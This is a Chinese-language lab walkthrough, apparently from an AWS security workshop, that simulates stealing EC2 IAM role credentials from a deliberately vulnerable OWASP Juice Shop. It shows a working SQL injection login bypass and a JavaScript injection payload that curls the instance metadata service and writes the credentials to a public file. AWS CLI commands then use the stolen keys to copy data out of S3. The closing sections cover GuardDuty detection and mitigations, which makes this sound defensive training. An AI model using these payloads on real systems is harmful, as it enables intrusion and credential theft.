# 通过web漏洞获取IAM安全凭据

一个常见的攻击场景就是在AWS上部署了web应用程序，攻击者会尝试获取 IAM Role的 [temporary security credentials ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_use-resources.html#using-temp-creds-sdk-ec2-instances) ，进一步获取其他资源的权限，比如 含有敏感信息的S3 存储桶和  DynamoDB 表。

另外一个常见的攻击场景是SQL注入，利用web应用程序的表单或者请求字段直接输入SQL指令，无需身份验证执行任意脚本。

OWASP Juice Shop同时在**登录**和**介绍**web表单中含有漏洞。首先，我们使用SQL注入将自己注册成网站的管理账号。然后我们提交一些JavaScript代码作为我们的 **用户名**，利用一个非校验的 `eval()` ，Juice Shop 的服务端执行这段代码。

这段代码我们会获取EC2实例的metadata，获取到IAM role的临时安全凭据。之后创建一个包含这个安全凭据的文件，可以直接从浏览器访问，我们就可以使用这个凭据从S3窃取数据了。

## 环境搭建

使用到[OWASP Juice Shop](https://owasp.org/www-project-juice-shop/)，一个包含了网络安全漏洞的web应用程序，用于验证安全产品检测效果。

需要提前准备好一个AWS海外账号，然后这个[CloudFormation](https://us-west-2.console.aws.amazon.com/cloudformation/home?region=us-west-2#stacks/new?stackName=juice-shop\&templateURL=https://ee-assets-prod-us-east-1.s3.us-east-1.amazonaws.com/modules/6711a8753152469eb774315a0c2fad73/v1/template.yml)，安装部署完成以后环境就搭建好了。

在输出结果中可以找到Juice Shop的地址`JuiceShopURL`。拷贝记录下来以备后用。

## 模拟攻击

### 1 获取Juice Shop管理员账号

打开Juice Shop的登录页：\<JUICE\_SHOP\_URL>/#/login

在Email的部分输入：`' or 1=1;--`

在Password的部分输入任意值，点击**Log in**按钮。

在顶部右上角，点击 **Account** 然后点击`admin@juice-sh.op` 打开 **Profile** 页面。

拷贝以下的代码，并且粘贴到**Username** 输入框，点击**Set Username** 按钮。

```js
#{global.process.mainModule.require('child_process').exec('x=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/) && y=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$x) && echo $y | json_pp >frontend/dist/frontend/assets/public/credentials.json')}
```

验证执行结果，你应该能在头像的图片下面看到"\[object Object]"作为用户名。

### 2 获取IAM安全凭据

打开网址\<JUICE\_SHOP\_URL>/assets/public/credentials.json，你可以看到Juice Shop "credentials" 页面。

打开 [AWS CloudShell ](https://console.aws.amazon.com/cloudshell/home)，一个基于浏览器的 shell，可让您轻松安全地管理、探索 AWS 资源并与之交互。有了 CloudShell，您就可以通过浏览器使用 AWS 命令行界面（AWS CLI）快速运行脚本。

拷贝以下的命令，替换`<JUICE_SHOP_URL>`为你从CloudFormation的输出中得到的`JuiceShopURL`值，输入到CloudShell中执行：

```
export JUICESHOPURL="<JUICE_SHOP_URL>"
```

拷贝以下的命令，替换`<BUCKET_NAME>`为你从CloudFormation的输出中得到的`TheSecureBucket`值，输入到CloudShell中执行：

```
export THEBUCKET="<BUCKET_NAME>"
```

拷贝下面的命令执行，下载窃取的安全凭据并展示在终端上，

```
wget $JUICESHOPURL/assets/public/credentials.json
cat credentials.json | jq
aws configure set profile.juicer.region us-west-2
aws configure set profile.juicer.aws_access_key_id `cat credentials.json | jq -r '.AccessKeyId'`
aws configure set profile.juicer.aws_secret_access_key `cat credentials.json | jq -r '.SecretAccessKey'`
aws configure set profile.juicer.aws_session_token `cat credentials.json | jq -r '.Token'`

```

### 3 窃取S3敏感数据

1. 拷贝以下代码，并提交执行：

```
aws s3 cp s3://$THEBUCKET/secret-information.txt secret-information.txt --profile juicer
more secret-information.txt
```

1. 可以在终端上看到获取到的敏感数据：

```
This is confidential information that should never leave the company!
```

### 4 GuardDuty的告警

在 5 到 15 分钟之间，GuardDuty 会检测到 S3 复制操作是使用属于 AWS 内另一个帐户的 IAM 角色的临时安全凭证执行的。这是因为 AWS CloudShell 终端是在一个独立于 AWS 账户的托管账户中运行的。这将触发创建 UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS 发现。

<figure><img src="https://3752289132-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-LTfg4e0NhLEbwi6WFJp%2Fuploads%2FXI54AIQ6SQ5H2QMvfZd1%2FScreenshot%202023-10-24%20at%2018.00.51.png?alt=media&#x26;token=27237fcd-80d8-4704-8259-4e58a0ad3911" alt=""><figcaption></figcaption></figure>

告警显示：

Credentials created exclusively for an EC2 instance using instance role template-TheRole-vTAOVXNktWZX have been used from a remote AWS account 102904990151.

GD中的告警信息让我们知道了攻击来源IP、内容、时间和地点，但并不能解释攻击的方式。在现实世界中，还需要Juice Shop 日志执行进一步的侦查工作，以查看攻击发生时应用程序内发生了哪些活动。如果提前做好了日志收集，日志会捕获表单提交数据，包括登录和用户配置文件的，可以找到攻击者注入了我们 EC2 实例所执行的 SQL 和 JavaScript。

在GD的告警中可以获取到AKSK，AccountID，以及事件发生时间，通过这些信息后续可以利用日志分析工具检索攻击者被泄漏的AKSK做了什么：[检索某账号AKSK在指定时间范围内做了什么](https://aws-gcr-wwso-security.gitbook.io/an-quan-zui-jia-shi-jian/4.-ri-zhi-yu-jian-kong/ri-zhi-ji-zhong-guan-li/shi-yong-amazon-security-lake-shou-ji-an-quan-ri-zhi/shi-yong-security-lake-he-athena-fen-xi-ri-zhi/jian-suo-mou-zhang-hao-aksk-zai-zhi-ding-shi-jian-fan-wei-nei-zuo-le-shen-me)

## 阻止攻击

我们已经看到了攻击的实际效果，让我们建立一些保护措施来防止它的发生。

* [使用 AWS Web 应用程序防火墙（AWS WAF）阻止恶意流量 ](https://aws-gcr-wwso-security.gitbook.io/an-quan-zui-jia-shi-jian/an-quan-ti-xi-jian-she/yun-zi-chan-ru-qin-fang-fan/tong-guo-aws-web-application-firewall-aws-waf-bao-hu-wang-zhan)
* [使用资源策略限制已知来源对资源的访问 ](https://aws-gcr-wwso-security.gitbook.io/an-quan-zui-jia-shi-jian/an-quan-ti-xi-jian-she/yun-zi-chan-ru-qin-fang-fan/s3-cun-chu-tong-bei-ru-qin-fang-fan/fang-zhi-iam-jue-se-cong-vpc-wai-bu-fang-wen-s3-cun-chu-tong)
* [使用自动化对受威胁的凭据立即采取限制措施](https://aws-gcr-wwso-security.gitbook.io/an-quan-zui-jia-shi-jian/5.-shi-jian-xiang-ying/zi-dong-an-quan-xiang-ying-yu-xiu-fu/guardduty-gao-jing-zi-dong-xiang-ying/iam-aksk-xie-lou-zi-dong-xiang-ying)

参考资料

workshop - [Startup Security: Techniques to Stay Secure while Building Quickly](https://catalog.workshops.aws/startup-security-stay-secure-while-building-quickly/en-US)
